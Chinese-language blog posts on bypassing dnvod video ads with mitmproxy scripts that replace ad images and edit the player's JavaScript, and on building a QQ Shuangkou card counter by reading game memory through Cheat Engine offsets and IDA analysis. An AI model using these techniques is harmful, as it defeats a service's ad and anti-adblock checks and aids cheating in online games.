YYX's Website - Security

多瑙视频广告移除思路及实现（v2）

2019-01-13T19:18:00-08:00

前言

18年年底比较忙，一直没再去多瑙看过视频。今年开年回来后发现之前的实现已经失效，因此重新撰文。

新的代码仓库地址不变：https://github.com/GreatYYX/dnvod-ad-killer。

考虑到多瑙之后可能的连续更新，这里提出一个约定：每个重大升级会对应一个major版本号（比如这次的v2），并可能会写相对应的文章，文章的标题和URL也会带有这个major版本号。minor的更新版本号会直接采用当天的日期，比如v2.20190113（如果一天更新多次则会再加入一个后缀，如v2.20190113.2），思路将直接更新在其major的文章中。之前的老版本命名为v1。

上手

多瑙总算拿掉了之前诟病的Flash而采用纯HTML播放器了（之前的文章吐槽过，电脑端禁止了H5的播放器），顺应时代潮流才能繁衍生息。而且广告也不是在一开始就出现，而是播放一段时间后才出现，并会有5s倒计时和20s广告（不过这个广告的时间计算方法很有问题或者是故意的，一旦快进了间隔很短的时间就要看广告，貌似如果要播n段广告的话，会在剩下的时间中插入所有没有播放的广告）。视频采用MP2T流协议分片下载，另外只加载了常规的html、js、css还有图片等。值得一提的是，（几乎）所有http请求都已经是https了，总算跟上了“时代进程”（当然我觉得主要是如果没SSL/TLS会直接被浏览器提示“不安全网站”的原因）。

H5的播放器理论上都通过js加载和控制。从Chrome的DevTools中可以看出这些js和加载顺序：

DNA-3.0.0.2.js: 由html加载，UI库。
inline.1dc40c191965336599d8.bundle.js：由html加载。
polyfills.c30af323737f4e73902d.bundle.js：由html加载，UI库。
scripts.a00c037d89f30e04f3e1.bundle.js：由html加载。
main.2e8c4bc9ac78a55fed3d.bundle.js：由html加载。
0.a3d01277a3706629fe95.chunk.js：由inline.1dc40c191965336599d8.bundle.js加载。
1.ed0cb8b173b9bfffa25f.chunk.js：由inline.1dc40c191965336599d8.bundle.js加载。
ckplayer.js：由1.ed0cb8b173b9bfffa25f.chunk.js加载，播放器。

另外需要注意的是，每次广告播放完会再下载一个名字随机的js，不过这个对于目前破解并没有干扰。

除了两个UI库和播放器之外，其他的名字都像是用户代码然后bundle和混淆了的。因此从html的DOM和js两部下手（废话）。这次考虑到所有访问流量都已经变成https，我将代理更新为了更加成熟的mitmproxy。

分析和实现

最开始尝试了一下通过DOM里面的广告的element来定位的办法，不过貌似都是Angular的ng-xxxx，而xxxx很多都在混淆了的代码里被参数化了，因此不太好定位，尝试了5分钟遂放弃-_-|||

当然促使我那么快就放弃当然不是因为我懒（反正我也不会承认的），因为更简单的思路已经萌上心头：搜索特征字符串，比如广告。不幸的是，js中都没有出现中文。但是大致浏览这些js后就会发现字符串都做了unicode编码，找个编码器翻一下就是\u5e7f\u544a。尝试grep一下所有可能的js发现基本都存在，于是加长为后跳过广告（多少s可能会是变量）后定位到1.ed0cb8b173b9bfffa25f.chunk.js。下面开刀这个文件。

根据\u540e\u8df3\u8fc7\u5e7f\u544a定位到：

function t() {}
return t.secondFormat = '<font class="text-red" color="#F00000">{second}s</font > \u540e\u64ad\u653e\u5e7f\u544a', ...

之后根据secondFormat发现一处关键代码：

this.subscriptions.push(this.publicManager.eventList.subscribe(function(e) {
    switch (t.api.intersitialHandler(e), e.event) {
        case Ye.Timer:
            t.api.showInfo(nn.secondFormat.replace("{second}", e.data.time), 0);
            break;
        case Ye.ShouldPlayAds:
            t.api.showInfo("", 0), n = t.api.getPlayMedia, i = t.api.currentTime, t.currentPlayingAds = t.loadMedia, t.currentPlayingAds.isImage ? t.api.pause() : t.api.playVideo([t.currentPlayingAds], !0), t.isPlayingAds = !0, t.skipAfter = 10;
            break;
        case Ye.ShouldBackToPlay:
            t.isBackToPlayMedia = !0, (!t.shouldSkipAds && !t.hasBought || t.isPlayingAds) && null != n && (t.currentPlayingAds = t.loadMedia = null, t.api.playVideo([n], !1), t.isPlayingAds = !1, t.shouldPlaySeoncd = i);
            break;
        case Ye.ShouldLoadAds:
            t.isBackToPlayMedia = !1, t.shouldSkipAds || t.hasBought ? (t.publicManager.stopPlay(), t.hasState || t.api.showInfo(t.needBought ? 1 == t.hasBought ? nn.alreadyBought : nn.highFormat : nn.vipskipFormat, 5)) : t.startLoadMedia(e.data);
            break;
        case Ye.SkipTimer:
            t.skipAfter = e.data.time, t.leftSecond = e.data.left;
            break;
        case Ye.ShouldCancel:
            t.caption = "", n = null, i = 0, t.loadMedia = null, t.isPlayingAds = !1
    }
})), this.pendding && (this.publicManager.invokeList(this.pendding.mediaList, this.pendding.startSecond, this.pendding.periodicSecond), this.pendding = null)

这段其实就是精髓了：ShouldLoadAds用于加载广告，ShouldPlayAds用于播放广告，Timer用于倒计时多少秒后播放广告。直接把这三个的内容砍掉，就奇迹般的没有广告等待了。

在破解过程中其实发现并尝试过修改leftSecond和skipAfter两个变量，效果并没有上面这个直接。

对于暂停之后的广告窗口，根据DOM搜索.vg-bg找到：

styles: [....vg-bg{\n            position:absolute;\n\n            max-width: 640px;\n            max-height: 360px;\n  ...]

加入display:none;即可。

攻击代码实现非常简单：对于广告图片依然采用之前的透明图片替换法，欺骗浏览器图片已经下载，不容易被脚本检测到。js文件直接替换成修改后的即可。

def response(self, flow: mitmproxy.http.HTTPFlow):
    """
        The full HTTP response has been read.
    """
    if flow.request.host.endswith('dnvod.tv'):
        one_px_gif_data = 'R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7'
        if flow.request.path.startswith('/upload/video'):
            if os.path.splitext(flow.request.path)[-1] in ('.jpg', '.gif'):
                flow.response.set_content(base64.b64decode(one_px_gif_data))

        if flow.request.path.endswith('1.ed0cb8b173b9bfffa25f.chunk.js'):
            with open('js/1.ed0cb8b173b9bfffa25f.chunk.de.js', 'r') as f:
                flow.response.set_text(f.read())

后记

这次过程出奇的顺利，前后也就一个小时。经过这次其实我脑海中有一个相对比较有破解门槛的保护手法，不过作为用户我是不会告诉多瑙的，除非。。。（收买我？）

最后，还是那句话：只要多瑙不更新，伦家是不会主动更新的嘤嘤嘤。

多瑙视频广告移除思路及实现

2018-02-11T11:06:00-08:00

Update: 2019-01-13

多瑙最近更新了广告投放的实现，此文已经失效，请移步到新文章。之前的代码可通过tag v1来索取。

小白通道

首先代码仓库和使用方法送上：https://github.com/GreatYYX/dnvod-ad-killer/tree/v1。然后不用往下看了。

背景铺垫

17年在美帝工作后，就再没来写过blog，一年一更的“好习惯”也被打破了。其实过去这一年多时间里自己在安全方面基本没有hands-on的动作，除了去某哥onsite前那晚上成功zuo si把手机上一个游戏给破解了然后华丽的gg，主要在研究以流量伪装手段绕过GFW的方法和binary文件准确恢复函数图谱的可能性，不过目前这两者都只停留在思路阶段（Sigh～菜的抠脚）。

这次萌发动力写个文章主要是被多瑙的bling bling的广告闪瞎了可又掏不起银子充会员，而单纯的AdBlock / AdBlock Plus以及Chrome Extension里的dnvod-ad-remover都已经失效，于是乎只能寡人亲自操刀了。

思路概述

前人走过的路

本着先做好功课再下手的一贯作风，去网上找了圈现有的思路。

由于HTML5的普及，大多数视频网站已经抛弃了Flash播放器（比如激进的Youtube和一些不可描述的网站），而鉴于特殊国情，国内大多数采用HTML5和Flash两者并用的局面。HTML5本身作为开放的web标准，所有东西都是暴露在用户面前的，正所谓前端无秘密。因此之前的思路基本属于：屏蔽掉Flash播放器，转而强制使用HTML5播放器从而实施后续的移除。只不过目前dnvod已经强制要求使用Flash了，也不知道为何会采用这种逆时代进程的做法而不是换一种投放广告的思路。

还有一则思路采用修改host表的方法，将几个ad来源的domain进行屏蔽。不过此方法最大的问题在于，相关的资源直接就出现了无法访问的情况，而现在最基本的判断是不是有AdBlock类插件的方案就是判断相应的资源能否下载成功（相比binary判断自身是否处于被调试状态要简单太多了）。所以一旦使用该方法，网页上就会告诉你，我和AdBlock你只能选一个。

长江后浪

前人的思路已经死在了沙滩上，因此只能另辟蹊径。

其实主要是破解两个问题：1.移除视频前70s的广告和等待时间 2.移除那些闪闪发光的小广告。

移除视频前等待

对于第一点，本身网站界面加载的也只有基本的框架，评论、集数、广告均由js创建而来。而加载后最显而易见的就是视频播放区的这段dom：

<object ...>
    ...
    <param name="movie" value="/_player/954684356/ckplayer.swf">
    <param name="flashvars" value="f=rtmp://s1-r1.dnvod.tv/kvod/mp4:lxj-hpfd-01-021E92666.mp4&amp;loaded=loadedHandler&amp;s=0&amp;b=0&amp;c=0&amp;a=&amp;i=//static.dnvod.tv/images/logo-group.jpg&amp;l=http://static.dnvod.tv/upload/video/201802081401510175878s.jpg|...&amp;r=http://public.dnvod.tv/c/c?position%3db%26i%3d376%26r%3d4|...&amp;t=10|10|10|10|10|10|10..." width="100%" height="100%" name="ckplayer_a1" id="ckplayer_a1" align="middle" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer">
    <embed ...>
</object>

这段html比较长，重点部分主要是一个object标签里面的两个param及一个embed。从这儿的第一个param可以看出采用了一个叫做ckplayer的播放器，我查了下是个国人开发的通用的网页视频播放器。第二个param是真正干活的地方了，利用flashvar把网页参数传入播放器中。凭空猜测，f是具体的视频地址，l是左边广告，r是右边广告，t是每个广告时间，每组广告图片采用|分割。于是上神器burp修改request的payload，不过竟然没有成功。这个思路是最最直接最最简单的，理论上来说应该是可行的，不过可能我当时实验时候有失误，于是阴差阳错的放弃了这个方法（后面会阐述这反而成了优势）。

之后就从js上下手，过了一遍加载的js。有一个混淆了js特别值得注意，playerselection-1.2.7.90.js。过一下反混淆器，代码的大致架子基本能还原出来（相比binary下反汇编的作业环境，js的这个的可读性还真不错）。快速scan一遍代码，感觉settimeout最可能作为突破点，毕竟倒计时在js里面最直观的做法就是用这个函数。一个个过下去发现有个的值被设置成70000，这不会就是70秒（70000ms）的广告吧？不好意思，对。

function loadedHandler() {
    ...
    } else {
        if (!_vp['noads']) {
            setTimeout(function() {
                var _0xf706x34 = CKobject['getObjectById'](_vp['ckid']);
                if (_0xf706x34 && _0xf706x34['frontAdUnload']) {
                    _0xf706x34['frontAdUnload']()
                }
            }, 70000) // <---- HERE!!!!! OMG F*** IT
        }
    };
    ...
}

随手在burp里把response body（注意这次不是改request是改response）改成10000，画面依然显示70s广告，不过到60s的时候就自动结束了。于是再接再厉，改成5000（此时记得header中的content-length也需要修改，否则malformat的包会被Chrome丢弃）。尝试把这个数字再改小就存在了没有了倒计时可广告仍然存在的问题，于是又定位了其他几个settimeout：

function CheckPlay(_0xf706x8c, _0xf706x8d) {
    ...
        $('.playtimer')['text'](('' + _0xf706x8c)['toHHMMSS']());
        setTimeout(function() {
            CheckPlay(--_0xf706x8c)
        }, 1000)
    }
}

function PlayAds(_0xf706xf, _0xf706x5, _0xf706x6) {
    var _0xf706xae = _0xf706xf['split']('|');
    var _0xf706xaf = _0xf706x5['split']('|');
    var _0xf706xb0 = _0xf706x6['split']('|');
    var _0xf706xb1 = 0;
    for (var _0xf706x3 = 0; _0xf706x3 < _0xf706xae['length']; _0xf706x3++) {
        if (_0xf706xae[_0xf706x3]['indexOf']('swf') > 0) {
            _0xf706xae['splice'](_0xf706x3, 1);
            _0xf706xaf['splice'](_0xf706x3, 1);
            _0xf706xb0['splice'](_0xf706x3, 1);
            _0xf706x3--
        } else {
            _0xf706xb1 += parseInt(_0xf706xb0[_0xf706x3])
        }
    };
    callAdd(_0xf706xae, _0xf706xaf, _0xf706xb0);
    var _0xf706xb2 = _0xf706xb1;
    var _0xf706xb3 = setInterval(function() {
        var _0xf706xb4 = $('.second');
        _0xf706xb4['text'](_0xf706xb2--)
    }, 980);
    setTimeout(function() {
        $('.ads-control')['remove']();
        var _0xf706xb4 = $('.second');
        clearInterval(_0xf706xb3);
        _0xf706xb4['text']('');
        if (CKobject) {
            CKobject['getObjectById'](_vp['ckid'])['videoPlay']()
        }
    }, _0xf706xb1 * _0xf706xb1 * 1020)
}

function EmbedFlash(_0xf706x24, _0xf706x2b, _0xf706x2a, _0xf706x4f) {
    var _0xf706x50 = _0xf706x2b;
    if (!_vp['playlistM'] || !_vp['playlistM']['length']) {
        if (_0xf706x4f && _0xf706x4f['wa'] && _0xf706x4f['timeout'] > 0) {
            ...
            setTimeout(_vp.TirggerPending, _0xf706x4f['timeout'] * 1000)
        }
    }
    ...
}

其中最关键的应该就是PlayAds这个函数了，基本就是读取广告然后丢到Flash中，这里的settimeout用于时间到了之后把广告的div移调。另外CheckPlay是用来检测状态改变的(相当于刷新器)，因此需要把值改的要比较小，否则就会出现上面的值改小了却不生效的情况。

移除广告

有时候灵光一闪真的很重要，还记得当年比CTF睡觉时候突然有思路爬起来增援刷夜的老曾和潘神的情况。判断AdBlock这类插件是否存在的原理上面已经说了，就是只要设定一个timeout，过了timeout之后看这个资源有没有下载成功即可。因此直接屏蔽资源肯定是不行的，思路就变成了伪造一个正常的资源。之后就想到CSS1/2标准不完善的时候一个hack div的技巧，于是构造了一个1px x 1px的透明gif图片，直接替换掉所有广告图片，这样对于检测程序来说，依然认为ad下载成功，而事实上什么都看不到喽。

自动化去广告

这里没有采用开发一个Chrome Extension的方案，原因主要是Chrome团队是很激进的（褒义词），为了推动web标准进步和增强浏览器安全问题费尽了心思，比如这儿修改response body本身会或者将会受到Chrome API的限制。于是直接就用炉火纯青的中间人攻击(mitm)解决这个问题，网上随便找了个HTTP Proxy，code写的不错，全是Python原生库。之后主要修改下处理response body的环节：

 def _process_response(self, data):
        # parse incoming response packet
        # only for non-https requests
        if not self.request.method == b"CONNECT":
            self.response.parse(data)

        # print self.request.host_, self.request.url_
        if self.request.host_ and self.request.host_.endswith('dnvod.tv'):
            # ads
            one_px_gif_data = 'R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7'
            if self.request.url_ and self.request.url_.startswith('/upload/video'):
                if os.path.splitext(self.request.url_)[-1] in ('.jpg', '.gif'):
                    data = base64.b64decode(one_px_gif_data)

            # count down
            if self.request.url_ and self.request.url_ == '/js/2016/playerselection-1.2.7.90.js':
                with open('dn_replace.js', 'r') as f:
                    data = f.read()

        # queue data for client
        self.client.queue(data)

我这儿对于修改好的js直接存在文件里了，所以读取后替换。对于1px的transparent gif，实在没必要专门创建个文件然后浪费一次io，于是直接base64了这个图片的byte。

之后浏览器代理挂好，对于*.dnvod.tv的流量转向这个代理即可。

Update: 2018-02-25

据网友Orooz反应，程序在Windows下不可用，测试后发现原本使用的HTTP Proxy在Windows下无法正常工作，遂使用proxy2替换之。原理完全一样，直接贴修改的代码。

def response_handler(self, req, req_body, res, res_body):
        url = urlparse.urlparse(req.path)
        url_domain = url.netloc
        url_path = url.path

        if url_domain and url_domain.endswith('dnvod.tv'):
            # ads
            one_px_gif_data = 'R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7'
            if url_path and url_path.startswith('/upload/video'):
                if os.path.splitext(url_path)[-1] in ('.jpg', '.gif'):
                    res_body = base64.b64decode(one_px_gif_data)

            # count down
            if url_path and url_path == '/js/2016/playerselection-1.2.7.90.js':
                with open('dn_replace.js', 'r') as f:
                    res_body = f.read()

            return res_body

意外收获是该Proxy支持HTTPS的mitm。

后续

其实从防御方来说，修改Flash Player本身可以明显增加破解门槛，在Flash内部强制限定广告时间，广告资源本身甚至可以固化到Flash的内置资源列表中，这样不会产生单独的下载流量。但是缺点也显而易见，每次广告更新都要完整更新这个播放器，维护成本不可小觑。另外对于空白图片，也可以在前端检测一下（比如图片byte是否固定，图片大小如何，不过这类检测脚本也可以被中间人替换了或者被重新构造的资源绕过）。

从攻击方来说，后续需要的基本增强就是对于https时候mitm，不过这个就是一个库两个证书的问题。另外就是对于规则的修订问题了。进一步说，如果防御方真修改了Flash Player，那就decompile这个播放器然后替换之...

攻防本身就是个矛盾体，只要平衡其实就好。毕竟Amazon和Walmart还天天互爬数据并互相屏蔽对方的爬虫呢。

一开始没有选择修改request是个阴差阳错，但是这个反而成为了后续的优势。因为修改的request payload可以被服务器鉴别，而response已经返回到了本地，主动权完全在我方，因此可以被任意修改而服务器并不知道中间人的存在。而没有写成Chrome Extension也是为了突破Chrome API目前以及将来的种种限制。这两点都为后续可能存在的更强的反广告策略提供了保障。

懒癌最后扯一句：只要多瑙不更新，伦家是不会主动更新的嘤嘤嘤。

QQ双扣记牌器实现

2015-05-12T01:17:00-07:00

吐槽

到USC刷master真可谓“玩命”读书，在学校被大神虐，在路上怕被黑哥虐，出去玩耍被款爷虐，逢年过节被秀恩爱的虐，总之就是各种不择手段花式虐狗。再加上这学期悲剧的选课，期末下来，已经基本气绝。考闭，准备打打牌找找乐子，作为杭州人，当然最爱双扣，但是当你发现双扣竟然在4月底被企鹅的程序猿改的面目全非之后，就有种气急败坏的却又无从抱怨的感觉。

也不知道怎么想的，突然很想搞一个自己的记牌器玩玩（我承认这儿转折很突兀，因为我自己也不知道为什么当时还没来得及拍脑门就决定了），最后竟然三天抛出成品（不可避免有小bug），于是决定撰文记录一下，行文就按照日子来了。

我这边测试的双扣可执行文件skrpg.exe的文件版本是2.0.107.14，MD5为1c6d85c0accf6ce1a834e947e5467412。很可能游戏更新后数据会有所不同（新版本刚出来更新会特别频繁），但是思路不变的，你需要再机械劳动一次更新所有数据。

Day1 抓数据

其实第一天的时候还没决定真的做出个记牌器，就想研究下这玩意是怎么实现的（好奇心害死猫）。

记牌器实现基本是两种思路：

第一种是图形匹配，就是抓窗口的牌面，其实这儿做匹配还是很简单的，毕竟牌面的样子是不会变的，也不需要什么复杂的匹配算法，只要弄下来所有牌面搞个数据库，直接就可以匹配得到数据。难度在于，窗口是可以缩放的，因此牌桌大小不固定，牌的相对位置不清楚是不是按照比例算的；另外，新版双扣是所谓的角色版，添加了一些动画效果，这些效果出现的时候会覆盖一部分牌面，而且是动态的，因此这个时候抓取牌面就不是一种一成不变的情况。
第二种是抓数据，这种没有第一种直观，很多时候需要靠推理和碰运气去猜测数据保存在内存中的形式，当然如果数据在内存中被加密了，那就更倒霉了。但是一旦能正确抓出数据并解码，实现就非常简单，而且正确率是100%。当然抓数据不局限于内存数据，很多时候可能是网络数据，那就需要抓包啦。

我选了第二种，抓取工具是Cheat Engine，直接从内存抓取。首先初步判断下需要抓取的数据：所有玩家的当前剩余的牌数，所有玩家每次出的牌，自己的座位，发牌后自己的牌（你一定得不到别人的牌面，这些都在服务器上，如果你能得到那就直接做作弊器了）。

玩家剩余牌数

这是思路最简单且最好抓的一步。一个思维正常的程序猿一般都会用整数类型来记录，也就是有符号整形，因此直接抓DWORD长度数据，根据牌数量变化，不断缩小范围，依次在内存中找出4个玩家的剩余牌数位置，找到位置后用CE查找谁access/write了这些位置，这就是我们要找的地址。

DOWN:   "GameLogic.dll"+3CF20
LEFT:   "GameLogic.dll"+3CE30
UP:     "GameLogic.dll"+3D100
RIGHT:  "GameLogic.dll"+3D010

这里的的DOWN、LEFT、UP、RIGHT是我用来表示玩家的座位的，这些座位是大厅中座位的绝对位置，理解这点很重要。从拿到这些数据来看，这些位置是静态的（相对GameLogic.dll加载基址的偏移），So easy!

自身座位号

这是一个比较奇葩但必须解决的问题。还是假设企鹅的程序猿是不脑残的，那座位号应该是设计成连续排布的，可能是0-3，也可能是1-4（当然如果是个标准程序猿应该选前者，除非他是base为1的VB党），座位号的排列可能是顺时针，也可能是逆时针，当然还有可能跳着排列（这个可能性很小）。于是排列组合一下，每种情况起始位置可能有4种，算上顺时针逆时针就是有4x2=8种，所以0-3和1-4在连续排布情况下有16种可能性。在云计算的年代，16是个多么渺小的数据，直接brutal force，每种测试一次就行。测试方法就是选取16种中的一种，假设当前这个case成立，那这个座位应该是X，进入下一个座位，应该是Y，这样依次测试，如果每次抓出来的数据都符合判断，就是这个case了。

  2
1   3
  0

最后得到的结果是上面这种情况，0是DOWN，1是LEFT，2是UP，3是RIGHT，这些位置依然是大厅中的绝对位置。这里要提一句，找座位的时候可能会找到一个地址，每次都自增1，当时我还以为是这个，后来发现换了超过4个座位后它的数据依然在增长，测试后发现它是用来记录玩家在这桌入座了几次，不知企鹅程序猿设计这个数据有什么用……

我天真的以为座位号确定了，那座位号在内存中的位置也就确定了。但是当我点进去看access的地址处的反汇编的时候：

02D30214 - 8B 4D F4  - mov ecx,[ebp-0C]
02D30217 - 8B 55 F8  - mov edx,[ebp-08]
02D3021A - 89 14 88   - mov [eax+ecx*4],edx <<
02D3021D - 6A 01 - push 01
02D3021F - 66 8B 45 F4  - mov ax,[ebp-0C]

很遗憾，这玩意地址不是固定的，因此需要找它的指针，很可能还要找它指针的指针，甚至更多层。当我找了两层之后，发现依然是变化的地址。无奈调出IDA完整的看了下这段反汇编，发现竟然是基于ebp的传入参数，因此是不固定的。此时突然想到CE有个自动找指针的功能，于是请出这个牛X的大杀器，瞬间1个G的指针数据就算出来了（这凭人手来找得找到什么时候），发现竟然有5层左右的指针调用，还都是不同基址的，筛选下2-3层的调用，找到一个相对可以接受的偏移：[[["GameLogic.dll"+3DCB4]+88]+4]，而且基址和前面算玩家剩余牌数的一致，Perfect!

牌面数据

牌面数据的推断简直就是拼脑洞。初步想一下牌面可能涉及到数据是花色和点数，虽然花色在双扣中是没有意义的，但是对于游戏的显示来说，花色是必须要的，因为花色是牌属性的一部分。当你想到这儿的时候你会发现，牌的存储很可能是一个自定义的数据类型，而这个类型的格式是不知道的，自定义格式中每个字段长度也是不知道的，双扣有两副牌，因此包含大小王在内有等于或超过两张以上的重复牌，每次出牌数量是不确定的，因此也不知道此时内存中牌有几张，这一组牌用什么方式被表示。我凭借自认为碉堡的智商在脑洞大开的情况下猜测了几次，发现这个捷径走不了，老老实实开IDA看反汇编去……

首先判断牌面的数据处理应该也是在GameLogic.dll中，直接分析这个模块文件，当然一般情况下不可能从头看反汇编，这样的搜索效率太低了。查看一下模块的导出表，没有有价值的函数入口，于是从字符串找突破口。字符串中出现诸如CCardsGameLogic::OnGameStart\n样子的函数名，点进去发现是回调函数，还有类似RefreshCardsInHand\n的debug用的字符串，不过这些位置的上下文都没有提供有价值的信息。又尝试了一些方式都没有很好的突破口，但是作为一个懒人，怎么能向从头刷代码那么low的方式低头呢？于是准备继续开脑洞……

猜测一下特征数据。每副牌54张，双扣一共2副牌108张，4个人打，每个人就是27张。初始化的时候应该会每个人发27张牌，那时候应该会有个循环分配这27张牌。于是直接在IDA中找立即数27，发现一处有价值的代码：

.text:10020D8C ; int __stdcall sub_10020D8C(COleControl *)
.text:10020D8C sub_10020D8C    proc near               ; CODE XREF: sub_10007D2E+97p
.text:10020D8C                                         ; sub_100081D9+151p ...
.text:10020D8C
.text:10020D8C var_10          = dword ptr -10h
.text:10020D8C var_C           = dword ptr -0Ch
.text:10020D8C var_8           = dword ptr -8
.text:10020D8C var_4           = dword ptr -4
.text:10020D8C arg_0           = dword ptr  8
.text:10020D8C
.text:10020D8C                 push    ebp
.text:10020D8D                 mov     ebp, esp
.text:10020D8F                 sub     esp, 10h
.text:10020D92                 mov     [ebp+var_10], ecx
.text:10020D95                 mov     ecx, [ebp+arg_0]
.text:10020D98                 call    sub_10034BF0
.text:10020D9D                 mov     [ebp+var_8], eax
.text:10020DA0                 mov     [ebp+var_4], 0
.text:10020DA7                 jmp     short loc_10020DB2
.text:10020DA9 ; ---------------------------------------------------------------------------
.text:10020DA9
.text:10020DA9 loc_10020DA9:                           ; CODE XREF: sub_10020D8C+68j
.text:10020DA9                 mov     eax, [ebp+var_4]
.text:10020DAC                 add     eax, 1
.text:10020DAF                 mov     [ebp+var_4], eax
.text:10020DB2
.text:10020DB2 loc_10020DB2:                           ; CODE XREF: sub_10020D8C+1Bj
.text:10020DB2                 mov     ecx, [ebp+arg_0] ; this
.text:10020DB5                 call    ?GetClientSite@COleControl@@QAEPAUIOleClientSite@@XZ ; COleControl::GetClientSite(void)
.text:10020DBA                 cmp     [ebp+var_4], eax
.text:10020DBD                 jge     short loc_10020DF6
.text:10020DBF                 cmp     [ebp+var_4], 1Bh
.text:10020DC3                 jg      short loc_10020DF6
.text:10020DC5                 mov     ecx, [ebp+var_4]
.text:10020DC8                 mov     edx, [ebp+var_8]
.text:10020DCB                 movsx   eax, byte ptr [edx+ecx*4+1]
.text:10020DD0                 push    eax
.text:10020DD1                 mov     ecx, [ebp+var_10]
.text:10020DD4                 call    sub_10020DFE
.text:10020DD9                 mov     [ebp+var_C], eax
.text:10020DDC                 mov     ecx, [ebp+var_4]
.text:10020DDF                 mov     edx, [ebp+var_8]
.text:10020DE2                 mov     al, byte ptr [ebp+var_C]
.text:10020DE5                 mov     [edx+ecx*4+3], al
.text:10020DE9                 mov     ecx, [ebp+var_4]
.text:10020DEC                 mov     edx, [ebp+var_8]
.text:10020DEF                 mov     byte ptr [edx+ecx*4+2], 0
.text:10020DF4                 jmp     short loc_10020DA9
.text:10020DF6 ; ---------------------------------------------------------------------------
.text:10020DF6
.text:10020DF6 loc_10020DF6:                           ; CODE XREF: sub_10020D8C+31j
.text:10020DF6                                         ; sub_10020D8C+37j
.text:10020DF6                 xor     eax, eax
.text:10020DF8                 mov     esp, ebp
.text:10020DFA                 pop     ebp
.text:10020DFB                 retn    4
.text:10020DFB sub_10020D8C    endp

F5到C语言后关键部分是这样的：

...
for ( i = 0; i < COleControl::GetClientSite(a1) && i <= 27; ++i )
{
    *(_BYTE *)(v2 + 4 * i + 3) = sub_10020DFE(*(_BYTE *)(v2 + 4 * i + 1));
    *(_BYTE *)(v2 + 4 * i + 2) = 0;
}
...

可以看出这类似于一个数组操作，而数组每个元素中至少有4个byte长度的值（可以看成是一个自定义数据类型），分别是：第0个不清楚，第3个是第1个经过运算的结果，第2个恒为0。点进去看表示第3个和第1个元素之间的函数sub_10020DFE：

.text:10020DFE sub_10020DFE    proc near               ; CODE XREF: sub_10020D8C+48p
.text:10020DFE
.text:10020DFE var_8           = dword ptr -8
.text:10020DFE var_4           = dword ptr -4
.text:10020DFE arg_0           = dword ptr  8
.text:10020DFE
.text:10020DFE                 push    ebp
.text:10020DFF                 mov     ebp, esp
.text:10020E01                 sub     esp, 8
.text:10020E04                 mov     [ebp+var_8], ecx
.text:10020E07                 mov     eax, [ebp+arg_0]
.text:10020E0A                 mov     [ebp+var_4], eax
.text:10020E0D                 cmp     [ebp+arg_0], 2
.text:10020E11                 jnz     short loc_10020E1C
.text:10020E13                 mov     [ebp+var_4], 0Eh
.text:10020E1A                 jmp     short loc_10020E4B
.text:10020E1C ; ---------------------------------------------------------------------------
.text:10020E1C
.text:10020E1C loc_10020E1C:                           ; CODE XREF: sub_10020DFE+13j
.text:10020E1C                 cmp     [ebp+arg_0], 1
.text:10020E20                 jnz     short loc_10020E2B
.text:10020E22                 mov     [ebp+var_4], 0Ch
.text:10020E29                 jmp     short loc_10020E4B
.text:10020E2B ; ---------------------------------------------------------------------------
.text:10020E2B
.text:10020E2B loc_10020E2B:                           ; CODE XREF: sub_10020DFE+22j
.text:10020E2B                 cmp     [ebp+arg_0], 0Eh
.text:10020E2F                 jz      short loc_10020E37
.text:10020E31                 cmp     [ebp+arg_0], 0Fh
.text:10020E35                 jnz     short loc_10020E42
.text:10020E37
.text:10020E37 loc_10020E37:                           ; CODE XREF: sub_10020DFE+31j
.text:10020E37                 mov     ecx, [ebp+var_4]
.text:10020E3A                 add     ecx, 1
.text:10020E3D                 mov     [ebp+var_4], ecx
.text:10020E40                 jmp     short loc_10020E4B
.text:10020E42 ; ---------------------------------------------------------------------------
.text:10020E42
.text:10020E42 loc_10020E42:                           ; CODE XREF: sub_10020DFE+37j
.text:10020E42                 mov     edx, [ebp+var_4]
.text:10020E45                 sub     edx, 2
.text:10020E48                 mov     [ebp+var_4], edx
.text:10020E4B
.text:10020E4B loc_10020E4B:                           ; CODE XREF: sub_10020DFE+1Cj
.text:10020E4B                                         ; sub_10020DFE+2Bj ...
.text:10020E4B                 mov     eax, [ebp+var_4]
.text:10020E4E                 mov     esp, ebp
.text:10020E50                 pop     ebp
.text:10020E51                 retn    4
.text:10020E51 sub_10020DFE    endp

这段翻译过来就是：

X = 第一个元素
Y = 第三个元素
if (X == 1)
    Y = 12
else if (X == 2)
    Y = 14
else if (X == 14 || X == 15)
    Y = X + 1
else if (X >= 3 && X <= 13)
    Y = X - 2

这时候果断脑补：第一个元素可能是1~15，刚好是15种牌的点数（3~10，J，Q，K，A，2，小王F，大王Z）。假设第1个元素就是点数了，那第3个元素是什么呢？根据上面的算法画出对应的表：

| 3 ~ K  |  A  |  2  |  F  |  Z  |
----------------------------------
| 1 ~ 11 |  12 |  14 |  15 |  16 |

有理由这样推测：第3个元素是用来比较牌的点数大小的，而至于为什么A和2之间空一个数，很可能是为顺子设计的，因为顺子只能从3连到A。

在验证猜想之前还需要做一件事，就是确定牌是按照从大到小还是从小到大排列的，同时确定大小比较是根据牌的点数数值（第1个元素）还是点数大小（第3个元素）决定的。只有四种可能性，依然直接穷举测试。打开CE，设定数据长度为byte，测试牌面点数。最后得到的结论是，牌在内存中是按照点数大小从大到小排列的（最大的牌是数组的起始）。在验证内存数据的过程中，同时确定了每张牌的存储空间是4bytes，前面没法确定的第0个元素实际上是花色：

  王  黑桃  红桃  梅花  方片
-----------------------------
  0    1     2     3     4

至此，每张牌在内存中的表示方法已经确定：[花色][点数][0][大小]，每个属性各占1byte，每张牌占4bytes。无论所有玩家出的牌还是玩家自己的牌，只要找到最大一张牌的花色位置和牌的数量，根据每张牌占4bytes，就可以从内存中拿出这组牌数据。下面是我找到的各种情况下最大牌的起始位置（和找座位号时候确定指针的方法一致）：

玩家手里的牌：     [["GameLogic.dll"+3DAB8]+108]
下家最后出的牌:    [["GameLogic.dll"+3DABC]+118]
上家最后出的牌:    [["GameLogic.dll"+3DABC]+2f8]
左家最后出的牌:    [["GameLogic.dll"+3DABC]+28]
右家最后出的牌:    [["GameLogic.dll"+3DABC]+208]

所有基址基于GameLogic.dll，而且最后出的牌第一次偏移都是0x3DABC，Good job!

